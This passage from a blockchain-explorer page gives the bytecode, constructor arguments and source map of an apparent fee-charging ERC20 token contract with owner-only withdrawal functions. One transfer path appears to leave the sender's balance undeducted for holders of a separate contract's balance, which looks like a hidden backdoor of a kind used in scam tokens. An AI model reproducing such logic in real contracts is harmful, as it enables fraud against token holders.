0611669565b81565b6001600160a01b0383165f9081526003602090815260408083203384529091528120545f19146107b3576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b0387165f90815260038252838120338252909152919091205461078f918490610c08565b6001600160a01b0385165f9081526003602090815260408083203384529091529020555b6107be848484610c40565b90505b9392505050565b60026020527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b5461dead5f9081527f6a9609baa168169acaea398c4407efea4be641bb08e21e88806d9836fd9333cc549091906108276012600a61165b565b61083590633b9aca00611669565b61083f919061169f565b610849919061169f565b905090565b5f80546001600160a01b031633146108785760405162461bcd60e51b815260040161058a90611547565b815f036108e8576040516370a0823160e01b81523060048201526001600160a01b038416906370a0823190602401602060405180830381865afa1580156108c1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108e591906116b2565b91505b60405163a9059cbb60e01b8152336004820152602481018390526001600160a01b0384169063a9059cbb906044016020604051808303815f875af1158015610932573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107c191906116c9565b5f610631825f196105cb565b5f546001600160a01b0316331461098b5760405162461bcd60e51b815260040161058a90611547565b5f80546001600160a01b0319169055565b5f6107c1338484610c40565b5f546001600160a01b031633146109d15760405162461bcd60e51b815260040161058a90611547565b475f60646109df8484611669565b6109e99190611680565b604051909150339082156108fc029083905f818181858888f19350505050158015610a16573d5f803e3d5ffd5b50505050565b5f546001600160a01b03163314610a455760405162461bcd60e51b815260040161058a90611547565b600a54305f81815260026020526040808220548254915163f305d71960e01b8152600481019490945260248401526044830182905260648301919091526001600160a01b0390811660848301524260a48301529091169063f305d71990349060c40160606040518083038185885af1158015610ac3573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610ae891906116e8565b5050600a546040805163c45a015560e01b815290516001600160a01b03909216925063c45a01559160048083019260209291908290030181865afa158015610b32573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b569190611713565b60405163e6a4390560e01b81523060048201526001600160a01b037f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281166024830152919091169063e6a4390590604401602060405180830381865afa158015610bc2573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610be69190611713565b600c80546001600160a01b0319166001600160a01b0392909216919091179055565b5f8184841115610c2b5760405162461bcd60e51b815260040161058a91906113f4565b505f610c37848661169f565b95945050505050565b6001600160a01b0383165f9081526005602052604081205460ff16158015610c8057506001600160a01b0383165f9081526005602052604090205460ff16155b8015610c9a5750600c546001600160a01b03848116911614155b15610d13576001546001600160a01b0384165f90815260026020526040902054610cc590849061172e565b1115610d135760405162461bcd60e51b815260206004820152601860248201527f6d61782077616c6c6574206c696d697420726561636865640000000000000000604482015260640161058a565b600e5460ff16610d2f57610d28848484610e81565b90506107c1565b610d37610feb565b15610d4457610d4461103f565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0387165f90815260029091529190912054610d95918490610c08565b6001600160a01b0385165f90815260026020908152604080832093909355600490529081205460ff1680610de057506001600160a01b0384165f9081526004602052604090205460ff165b610df457610def858486611156565b610df6565b825b6001600160a01b0385165f90815260026020526040902054909150610e1b908261126f565b6001600160a01b038086165f8181526002602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e6e9085815260200190565b60405180910390a3506001949350505050565b600b546040516370a0823160e01b81526001600160a01b0385811660048301525f92610f5892610f0b92859216906370a0823190602401602060405180830381865afa158015610ed3573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ef791906116b2565b11610f02575f610f04565b835b84906112cd565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0389165f908152600290915291909120549190610c08565b6001600160a01b038086165f908152600260205260408082209390935590851681522054610f86908361126f565b6001600160a01b038085165f8181526002602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610fd99086815260200190565b60405180910390a35060019392505050565b600c545f906001600160a01b0316331480159061100b5750600e5460ff16155b80156110205750600c54600160a01b900460ff165b8015610849575050600d54305f90815260026020526040902054101590565b600e805460ff191660011790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061107f5761107f611741565b60200260200101906001600160a01b031690816001600160a01b0316815250507f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2816001815181106110d3576110d3611741565b6001600160a01b039283166020918202929092010152600a54600d5460405163791ac94760e01b8152919092169163791ac9479161111c91905f90869030904290600401611755565b5f604051808303815f87803b158015611133575f80fd5b505af1158015611145573d5f803e3d5ffd5b5050600e805460ff19169055505050565b5f8215806111645750600654155b156111705750816107c1565b600954600c546001600160a01b039081169084160361119257506008546111ad565b600c546001600160a01b03908116908616036111ad57506007545b5f6111e16111bc606480611669565b6111db846111d56006548a61130e90919063ffffffff16565b9061130e565b9061138c565b9050801561125b57305f90815260026020526040902054611202908261126f565b305f81815260026020526040908190209290925590516001600160a01b038816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112529085815260200190565b60405180910390a35b61126585826112cd565b9695505050505050565b5f8061127b838561172e565b9050838110156107c15760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161058a565b5f6107c183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610c08565b5f825f0361131d57505f610631565b5f6113288385611669565b9050826113358583611680565b146107c15760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161058a565b5f6107c183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152505f81836113e85760405162461bcd60e51b815260040161058a91906113f4565b505f610c378486611680565b5f6020808352835180828501525f5b8181101561141f57858101830151858201604001528201611403565b505f604082860101526040601f19601f8301168501019250505092915050565b5f6020828403121561144f575f80fd5b5035919050565b6001600160a01b038116811461146a575f80fd5b50565b5f806040838503121561147e575f80fd5b823561148981611456565b946020939093013593505050565b5f80604083850312156114a8575f80fd5b50508035926020909101359150565b5f805f606084860312156114c9575f80fd5b83356114d481611456565b925060208401356114e481611456565b929592945050506040919091013590565b5f60208284031215611505575f80fd5b81356107c181611456565b5f8060408385031215611521575f80fd5b823561152c81611456565b9150602083013561153c81611456565b809150509250929050565b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156115b557815f190482111561159b5761159b611567565b808516156115a857918102915b93841c9390800290611580565b509250929050565b5f826115cb57506001610631565b816115d757505f610631565b81600181146115ed57600281146115f757611613565b6001915050610631565b60ff84111561160857611608611567565b50506001821b610631565b5060208310610133831016604e8410600b8410161715611636575081810a610631565b611640838361157b565b805f190482111561165357611653611567565b029392505050565b5f6107c160ff8416836115bd565b808202811582820484141761063157610631611567565b5f8261169a57634e487b7160e01b5f52601260045260245ffd5b500490565b8181038181111561063157610631611567565b5f602082840312156116c2575f80fd5b5051919050565b5f602082840312156116d9575f80fd5b815180151581146107c1575f80fd5b5f805f606084860312156116fa575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611723575f80fd5b81516107c181611456565b8082018082111561063157610631611567565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156117a35784516001600160a01b03168352938301939183019160010161177e565b50506001600160a01b0396909616606085015250505060800152939250505056fea264697066735822122001994f01ed93ae048c1b58c076a222c7c23424243d7456a8496bf659b96b361c64736f6c63430008140033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d0000000000000000000000007927d6870b1cbd0c27fa7580fd93e94687f300bb

-----Decoded View---------------
Arg [0] : router_ (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
Arg [1] : devWallet_ (address): 0x7927D6870b1CBd0C27fA7580Fd93E94687F300bb

-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Arg [1] : 0000000000000000000000007927d6870b1cbd0c27fa7580fd93e94687f300bb


Deployed Bytecode Sourcemap

3233:7080:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3487:40;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;3487:40:0;;;;;;;;;;;;:::i;:::-;;;;;;;;6202:174;;;;;;;;;;-1:-1:-1;6202:174:0;;;;;:::i;:::-;;:::i;:::-;;5306:216;;;;;;;;;;-1:-1:-1;5306:216:0;;;;;:::i;:::-;;:::i;:::-;;;1373:14:1;;1366:22;1348:41;;1336:2;1321:18;5306:216:0;1208:187:1;9384:233:0;;;;;;;;;;-1:-1:-1;9384:233:0;;;;;:::i;:::-;;:::i;4020:44::-;;;;;;;;;;;;4061:3;4020:44;;;;;1799:25:1;;;1787:2;1772:18;4020:44:0;1653:177:1;3627:58:0;;;;;;;;;;;;;:::i;3986:27::-;;;;;;;;;;;;;;;;5824:370;;;;;;;;;;-1:-1:-1;5824:370:0;;;;;:::i;:::-;;:::i;10173:137::-;;;;;;;;;;;;;:::i;2218:103::-;;;;;;;;;;-1:-1:-1;2218:103:0;;;;;:::i;:::-;2273:4;2308:5;-1:-1:-1;;;;;2297:16:0;;;2308:5;;2297:16;;2218:103;3579:35;;;;;;;;;;;;3612:2;3579:35;;;;;2720:4:1;2708:17;;;2690:36;;2678:2;2663:18;3579:35:0;2548:184:1;9885:280:0;;;;;;;;;;-1:-1:-1;9885:280:0;;;;;:::i;:::-;;:::i;3930:47::-;;;;;;;;;;-1:-1:-1;3930:47:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;3879:44;;;;;;;;;;-1:-1:-1;3879:44:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;5530:122;;;;;;;;;;-1:-1:-1;5530:122:0;;;;;:::i;:::-;;:::i;4276:30::-;;;;;;;;;;-1:-1:-1;4276:30:0;;;;-1:-1:-1;;;4276:30:0;;;;;;3757:45;;;;;;;;;;-1:-1:-1;3757:45:0;;;;;:::i;:::-;;;;;;;;;;;;;;2329:85;;;;;;;;;;;;;:::i;3694:54::-;;;;;;;;;;;;;;;;5081:78;;;;;;;;;;-1:-1:-1;5133:7:0;5151:5;-1:-1:-1;;;;;5151:5:0;5081:78;;;-1:-1:-1;;;;;2901:32:1;;;2883:51;;2871:2;2856:18;5081:78:0;2737:203:1;3534:38:0;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;3534:38:0;;;;;4248:19;;;;;;;;;;-1:-1:-1;4248:19:0;;;;-1:-1:-1;;;;;4248:19:0;;;5660:156;;;;;;;;;;-1:-1:-1;5660:156:0;;;;;:::i;:::-;;:::i;9625:252::-;;;;;;;;;;-1:-1:-1;9625:252:0;;;;;:::i;:::-;;:::i;5165:133::-;;;;;;;;;;-1:-1:-1;5165:133:0;;;;;:::i;:::-;-1:-1:-1;;;;;5267:19:0;;;5249:7;5267:19;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;5165:133;6384:475;;;:::i;4181:28::-;;;;;;;;;;-1:-1:-1;4181:28:0;;;;-1:-1:-1;;;;;4181:28:0;;;6202:174;2273:4;2308:5;-1:-1:-1;;;;;2308:5:0;2177:10;2297:16;2161:38;;;;-1:-1:-1;;;2161:38:0;;;;;;;:::i;:::-;;;;;;;;;6364:4:::1;6336:23:::0;3673:12:::1;3612:2;3673;:12;:::i;:::-;3665:20;::::0;:5:::1;:20;:::i;:::-;6322:37;;;;:::i;:::-;6321:47;;;;:::i;:::-;6303:15;:65:::0;-1:-1:-1;6202:174:0:o;5306:216::-;5410:10;5381:4;5398:23;;;:11;:23;;;;;;;;-1:-1:-1;;;;;5398:32:0;;;;;;;;;;:41;;;5455:37;5381:4;;5398:32;;5455:37;;;;5433:6;1799:25:1;;1787:2;1772:18;;1653:177;5455:37:0;;;;;;;;-1:-1:-1;5510:4:0;5306:216;;;;;:::o;9384:233::-;2273:4;2308:5;-1:-1:-1;;;;;2308:5:0;2177:10;2297:16;2161:38;;;;-1:-1:-1;;;2161:38:0;;;;;;;:::i;:::-;9477:2:::1;9468:5;:11;;9460:38;;;::::0;-1:-1:-1;;;9460:38:0;;6014:2:1;9460:38:0::1;::::0;::::1;5996:21:1::0;6053:2;6033:18;;;6026:30;-1:-1:-1;;;6072:18:1;;;6065:45;6127:18;;9460:38:0::1;5812:339:1::0;9460:38:0::1;9525:2;9517:4;:10;;9509:36;;;::::0;-1:-1:-1;;;9509:36:0;;6358:2:1;9509:36:0::1;::::0;::::1;6340:21:1::0;6397:2;6377:18;;;6370:30;-1:-1:-1;;;6416:18:1;;;6409:44;6470:18;;9509:36:0::1;6156:338:1::0;9509:36:0::1;9556:14;:22:::0;9589:13:::1;:20:::0;9384:233::o;3627:58::-;3673:12;3612:2;3673;:12;:::i;:::-;3665:20;;:5;:20;:::i;:::-;3627:58;:::o;5824:370::-;-1:-1:-1;;;;;5944:19:0;;5924:4;5944:19;;;:11;:19;;;;;;;;5964:10;5944:31;;;;;;;;-1:-1:-1;;5944:52:0;5941:186;;6046:69;;;;;;;;;;;-1:-1:-1;;;6046:69:0;;;;;;;;-1:-1:-1;;;;;6046:19:0;;-1:-1:-1;6046:19:0;;;:11;:19;;;;;6066:10;6046:31;;;;;;;;;;:69;;6082:6;;6046:35;:69::i;:::-;-1:-1:-1;;;;;6012:19:0;;;;;;:11;:19;;;;;;;;6032:10;6012:31;;;;;;;:103;5941:186;6146:40;6160:6;6168:9;6179:6;6146:13;:40::i;:::-;6139:47;;5824:370;;;;;;:::o;10173:137::-;10286:9;:15;;;;3363:42;10226:7;10268:15;;;;;10226:7;;10286:15;3673:12;3612:2;3673;:12;:::i;:::-;3665:20;;:5;:20;:::i;:::-;10254:29;;;;:::i;:::-;:47;;;;:::i;:::-;10246:56;;10173:137;:::o;9885:280::-;9972:12;2308:5;;-1:-1:-1;;;;;2308:5:0;2177:10;2297:16;2161:38;;;;-1:-1:-1;;;2161:38:0;;;;;;;:::i;:::-;10000:6:::1;10010:1;10000:11:::0;9997:95:::1;;10036:44;::::0;-1:-1:-1;;;10036:44:0;;10074:4:::1;10036:44;::::0;::::1;2883:51:1::0;-1:-1:-1;;;;;10036:29:0;::::1;::::0;::::1;::::0;2856:18:1;;10036:44:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10027:53;;9997:95;10109:48;::::0;-1:-1:-1;;;10109:48:0;;10138:10:::1;10109:48;::::0;::::1;6995:51:1::0;7062:18;;;7055:34;;;-1:-1:-1;;;;;10109:28:0;::::1;::::0;::::1;::::0;6968:18:1;;10109:48:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;5530:122::-:0;5585:4;5609:35;5617:7;-1:-1:-1;;5609:7:0;:35::i;2329:85::-;2273:4;2308:5;-1:-1:-1;;;;;2308:5:0;2177:10;2297:16;2161:38;;;;-1:-1:-1;;;2161:38:0;;;;;;;:::i;:::-;2404:1:::1;2388:18:::0;;-1:-1:-1;;;;;;2388:18:0::1;::::0;;2329:85::o;5660:156::-;5740:4;5764:44;5778:10;5790:9;5801:6;5764:13;:44::i;9625:252::-;2273:4;2308:5;-1:-1:-1;;;;;2308:5:0;2177:10;2297:16;2161:38;;;;-1:-1:-1;;;2161:38:0;;;;;;;:::i;:::-;9721:21:::1;9701:17;9812:3;9779:28;9791:16:::0;9721:21;9779:28:::1;:::i;:::-;9777:38;;;;:::i;:::-;9826:43;::::0;9753:62;;-1:-1:-1;9834:10:0::1;::::0;9826:43;::::1;;;::::0;9753:62;;9826:43:::1;::::0;;;9753:62;9834:10;9826:43;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;9690:187;;9625:252:::0;:::o;6384:475::-;2273:4;2308:5;-1:-1:-1;;;;;2308:5:0;2177:10;2297:16;2161:38;;;;-1:-1:-1;;;2161:38:0;;;;;;;:::i;:::-;6446:6:::1;::::0;6509:4:::1;6446:6;6545:24:::0;;;:9:::1;:24;::::0;;;;;;6690:5;;6446:325;;-1:-1:-1;;;6446:325:0;;::::1;::::0;::::1;7723:34:1::0;;;;7773:18;;;7766:34;7816:18;;;7809:34;;;7859:18;;;7852:34;;;;-1:-1:-1;;;;;6690:5:0;;::::1;7902:19:1::0;;;7895:44;6745:15:0::1;7955:19:1::0;;;7948:35;6446:6:0;;::::1;::::0;:22:::1;::::0;6476:9:::1;::::0;7657:19:1;;6446:325:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;6805:6:0::1;::::0;:16:::1;::::0;;-1:-1:-1;;;6805:16:0;;;;-1:-1:-1;;;;;6805:6:0;;::::1;::::0;-1:-1:-1;6805:14:0::1;::::0;:16:::1;::::0;;::::1;::::0;::::1;::::0;;;;;;;;:6;:16:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6789:62;::::0;-1:-1:-1;;;6789:62:0;;6839:4:::1;6789:62;::::0;::::1;8773:34:1::0;-1:-1:-1;;;;;6846:4:0::1;8843:15:1::0;;8823:18;;;8816:43;6789:41:0;;;::::1;::::0;::::1;::::0;8708:18:1;;6789:62:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6782:4;:69:::0;;-1:-1:-1;;;;;;6782:69:0::1;-1:-1:-1::0;;;;;6782:69:0;;;::::1;::::0;;;::::1;::::0;;6384:475::o;534:192::-;620:7;656:12;648:6;;;;640:29;;;;-1:-1:-1;;;640:29:0;;;;;;;;:::i;:::-;-1:-1:-1;680:9:0;692:5;696:1;692;:5;:::i;:::-;680:17;534:192;-1:-1:-1;;;;;534:192:0:o;6869:810::-;-1:-1:-1;;;;;6983:22:0;;6961:4;6983:22;;;:14;:22;;;;;;;;6982:23;:53;;;;-1:-1:-1;;;;;;7010:25:0;;;;;;:14;:25;;;;;;;;7009:26;6982:53;:74;;;;-1:-1:-1;7052:4:0;;-1:-1:-1;;;;;7039:17:0;;;7052:4;;7039:17;;6982:74;6978:193;;;7116:15;;-1:-1:-1;;;;;7082:20:0;;;;;;:9;:20;;;;;;:29;;7105:6;;7082:29;:::i;:::-;7081:50;;7073:86;;;;-1:-1:-1;;;7073:86:0;;9202:2:1;7073:86:0;;;9184:21:1;9241:2;9221:18;;;9214:30;9280:26;9260:18;;;9253:54;9324:18;;7073:86:0;9000:348:1;7073:86:0;7185:6;;;;7181:64;;7201:41;7216:6;7224:9;7235:6;7201:14;:41::i;:::-;7194:48;;;;7181:64;7264:16;:14;:16::i;:::-;7261:35;;;7283:10;:8;:10::i;:::-;7328:53;;;;;;;;;;;-1:-1:-1;;;7328:53:0;;;;;;;;-1:-1:-1;;;;;7328:17:0;;-1:-1:-1;7328:17:0;;;:9;:17;;;;;;;;:53;;7350:6;;7328:21;:53::i;:::-;-1:-1:-1;;;;;7308:17:0;;;;;;:9;:17;;;;;;;;:73;;;;7420:11;:19;;;;;;;;;:45;;-1:-1:-1;;;;;;7443:22:0;;;;;;:11;:22;;;;;;;;7420:45;7419:93;;7478:34;7486:6;7494;7502:9;7478:7;:34::i;:::-;7419:93;;;7469:6;7419:93;-1:-1:-1;;;;;7548:20:0;;;;;;:9;:20;;;;;;7394:118;;-1:-1:-1;7548:40:0;;7394:118;7548:24;:40::i;:::-;-1:-1:-1;;;;;7525:20:0;;;;;;;:9;:20;;;;;;;:63;;;;7606:43;;;;;;;;;;7634:14;1799:25:1;;1787:2;1772:18;;1653:177;7606:43:0;;;;;;;;-1:-1:-1;7667:4:0;;6869:810;-1:-1:-1;;;;6869:810:0:o;7691:381::-;7860:9;;7854:34;;-1:-1:-1;;;7854:34:0;;-1:-1:-1;;;;;2901:32:1;;;7854:34:0;;;2883:51:1;7784:4:0;;7821:104;;7843:57;;7784:4;;7860:9;;7854:26;;2856:18:1;;7854:34:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:36;:45;;7898:1;7854:45;;;7891:6;7854:45;7843:6;;:10;:57::i;:::-;7821:104;;;;;;;;;;;-1:-1:-1;;;7821:104:0;;;;;;;;-1:-1:-1;;;;;7821:17:0;;-1:-1:-1;7821:17:0;;;:9;:17;;;;;;;;;:104;:21;:104::i;:::-;-1:-1:-1;;;;;7801:17:0;;;;;;;:9;:17;;;;;;:124;;;;7959:20;;;;;;;:32;;7984:6;7959:24;:32::i;:::-;-1:-1:-1;;;;;7936:20:0;;;;;;;:9;:20;;;;;;;:55;;;;8007:35;;;;;;;;;;8035:6;1799:25:1;;1787:2;1772:18;;1653:177;8007:35:0;;;;;;;;-1:-1:-1;8060:4:0;7691:381;;;;;:::o;8811:197::-;8898:4;;8860;;-1:-1:-1;;;;;8898:4:0;8884:10;:18;;;;:38;;-1:-1:-1;8916:6:0;;;;8915:7;8884:38;:62;;;;-1:-1:-1;8935:11:0;;-1:-1:-1;;;8935:11:0;;;;8884:62;:116;;;;-1:-1:-1;;8987:13:0;;8977:4;8959:24;;;;:9;:24;;;;;;:41;;;8811:197::o;9016:360::-;4401:6;:13;;-1:-1:-1;;4401:13:0;4410:4;4401:13;;;9091:16:::1;::::0;;9105:1:::1;9091:16:::0;;;;;::::1;::::0;;-1:-1:-1;;9091:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9091:16:0::1;9067:40;;9136:4;9118;9123:1;9118:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1::0;;;;;9118:23:0::1;;;-1:-1:-1::0;;;;;9118:23:0::1;;;::::0;::::1;9162:4;9152;9157:1;9152:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9152:14:0;;::::1;:7;::::0;;::::1;::::0;;;;;:14;9179:6:::1;::::0;9251:13:::1;::::0;9179:189:::1;::::0;-1:-1:-1;;;9179:189:0;;:6;;;::::1;::::0;:57:::1;::::0;:189:::1;::::0;9251:13;9179:6:::1;::::0;9295:4;;9322::::1;::::0;9342:15:::1;::::0;9179:189:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;4419:6:0;:14;;-1:-1:-1;;4419:14:0;;;-1:-1:-1;;;9016:360:0:o;8080:723::-;8166:7;8189:11;;;:28;;-1:-1:-1;8204:8:0;;:13;8189:28;8186:72;;;-1:-1:-1;8240:6:0;8233:13;;8186:72;8291:18;;8338:4;;-1:-1:-1;;;;;8338:4:0;;;8325:17;;;;8322:154;;-1:-1:-1;8372:14:0;;8322:154;;;8417:4;;-1:-1:-1;;;;;8417:4:0;;;8407:14;;;;8404:72;;-1:-1:-1;8451:13:0;;8404:72;8488:17;8508:62;8549:20;4061:3;;8549:20;:::i;:::-;8508:36;8533:10;8508:20;8519:8;;8508:6;:10;;:20;;;;:::i;:::-;:24;;:36::i;:::-;:40;;:62::i;:::-;8488:82;-1:-1:-1;8586:13:0;;8583:172;;8660:4;8642:24;;;;:9;:24;;;;;;:39;;8671:9;8642:28;:39::i;:::-;8633:4;8615:24;;;;:9;:24;;;;;;;:66;;;;8701:42;;-1:-1:-1;;;;;8701:42:0;;;;;;;8733:9;1799:25:1;;1787:2;1772:18;;1653:177;8701:42:0;;;;;;;;8583:172;8774:21;:6;8785:9;8774:10;:21::i;:::-;8767:28;8080:723;-1:-1:-1;;;;;;8080:723:0:o;205:181::-;263:7;;295:5;299:1;295;:5;:::i;:::-;283:17;;324:1;319;:6;;311:46;;;;-1:-1:-1;;;311:46:0;;10804:2:1;311:46:0;;;10786:21:1;10843:2;10823:18;;;10816:30;10882:29;10862:18;;;10855:57;10929:18;;311:46:0;10602:351:1;392:136:0;450:7;477:43;481:1;484;477:43;;;;;;;;;;;;;;;;;:3;:43::i;732:250::-;790:7;814:1;819;814:6;810:47;;-1:-1:-1;844:1:0;837:8;;810:47;869:9;881:5;885:1;881;:5;:::i;:::-;869:17;-1:-1:-1;914:1:0;905:5;909:1;869:17;905:5;:::i;:::-;:10;897:56;;;;-1:-1:-1;;;897:56:0;;11160:2:1;897:56:0;;;11142:21:1;11199:2;11179:18;;;11172:30;11238:34;11218:18;;;11211:62;-1:-1:-1;;;11289:18:1;;;11282:31;11330:19;;897:56:0;10958:397:1;988:132:0;1046:7;1073:39;1077:1;1080;1073:39;;;;;;;;;;;;;;;;;1212:7;1247:12;1240:5;1232:28;;;;-1:-1:-1;;;1232:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1271:9:0;1283:5;1287:1;1283;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:180::-;626:6;679:2;667:9;658:7;654:23;650:32;647:52;;;695:1;692;685:12;647:52;-1:-1:-1;718:23:1;;567:180;-1:-1:-1;567:180:1:o;752:131::-;-1:-1:-1;;;;;827:31:1;;817:42;;807:70;;873:1;870;863:12;807:70;752:131;:::o;888:315::-;956:6;964;1017:2;1005:9;996:7;992:23;988:32;985:52;;;1033:1;1030;1023:12;985:52;1072:9;1059:23;1091:31;1116:5;1091:31;:::i;:::-;1141:5;1193:2;1178:18;;;;1165:32;;-1:-1:-1;;;888:315:1:o;1400:248::-;1468:6;1476;1529:2;1517:9;1508:7;1504:23;1500:32;1497:52;;;1545:1;1542;1535:12;1497:52;-1:-1:-1;;1568:23:1;;;1638:2;1623:18;;;1610:32;;-1:-1:-1;1400:248:1:o;1835:456::-;1912:6;1920;1928;1981:2;1969:9;1960:7;1956:23;1952:32;1949:52;;;1997:1;1994;1987:12;1949:52;2036:9;2023:23;2055:31;2080:5;2055:31;:::i;:::-;2105:5;-1:-1:-1;2162:2:1;2147:18;;2134:32;2175:33;2134:32;2175:33;:::i;:::-;1835:456;;2227:7;;-1:-1:-1;;;2281:2:1;2266:18;;;;2253:32;;1835:456::o;2296:247::-;2355:6;2408:2;2396:9;2387:7;2383:23;2379:32;2376:52;;;2424:1;2421;2414:12;2376:52;2463:9;2450:23;2482:31;2507:5;2482:31;:::i;2945:388::-;3013:6;3021;3074:2;3062:9;3053:7;3049:23;3045:32;3042:52;;;3090:1;3087;3080:12;3042:52;3129:9;3116:23;3148:31;3173:5;3148:31;:::i;:::-;3198:5;-1:-1:-1;3255:2:1;3240:18;;3227:32;3268:33;3227:32;3268:33;:::i;:::-;3320:7;3310:17;;;2945:388;;;;;:::o;3568:329::-;3770:2;3752:21;;;3809:1;3789:18;;;3782:29;-1:-1:-1;;;3842:2:1;3827:18;;3820:36;3888:2;3873:18;;3568:329::o;3902:127::-;3963:10;3958:3;3954:20;3951:1;3944:31;3994:4;3991:1;3984:15;4018:4;4015:1;4008:15;4034:422;4123:1;4166:5;4123:1;4180:270;4201:7;4191:8;4188:21;4180:270;;;4260:4;4256:1;4252:6;4248:17;4242:4;4239:27;4236:53;;;4269:18;;:::i;:::-;4319:7;4309:8;4305:22;4302:55;;;4339:16;;;;4302:55;4418:22;;;;4378:15;;;;4180:270;;;4184:3;4034:422;;;;;:::o;4461:806::-;4510:5;4540:8;4530:80;;-1:-1:-1;4581:1:1;4595:5;;4530:80;4629:4;4619:76;;-1:-1:-1;4666:1:1;4680:5;;4619:76;4711:4;4729:1;4724:59;;;;4797:1;4792:130;;;;4704:218;;4724:59;4754:1;4745:10;;4768:5;;;4792:130;4829:3;4819:8;4816:17;4813:43;;;4836:18;;:::i;:::-;-1:-1:-1;;4892:1:1;4878:16;;4907:5;;4704:218;;5006:2;4996:8;4993:16;4987:3;4981:4;4978:13;4974:36;4968:2;4958:8;4955:16;4950:2;4944:4;4941:12;4937:35;4934:77;4931:159;;;-1:-1:-1;5043:19:1;;;5075:5;;4931:159;5122:34;5147:8;5141:4;5122:34;:::i;:::-;5192:6;5188:1;5184:6;5180:19;5171:7;5168:32;5165:58;;;5203:18;;:::i;:::-;5241:20;;4461:806;-1:-1:-1;;;4461:806:1:o;5272:140::-;5330:5;5359:47;5400:4;5390:8;5386:19;5380:4;5359:47;:::i;5417:168::-;5490:9;;;5521;;5538:15;;;5532:22;;5518:37;5508:71;;5559:18;;:::i;5590:217::-;5630:1;5656;5646:132;;5700:10;5695:3;5691:20;5688:1;5681:31;5735:4;5732:1;5725:15;5763:4;5760:1;5753:15;5646:132;-1:-1:-1;5792:9:1;;5590:217::o;6499:128::-;6566:9;;;6587:11;;;6584:37;;;6601:18;;:::i;6632:184::-;6702:6;6755:2;6743:9;6734:7;6730:23;6726:32;6723:52;;;6771:1;6768;6761:12;6723:52;-1:-1:-1;6794:16:1;;6632:184;-1:-1:-1;6632:184:1:o;7100:277::-;7167:6;7220:2;7208:9;7199:7;7195:23;7191:32;7188:52;;;7236:1;7233;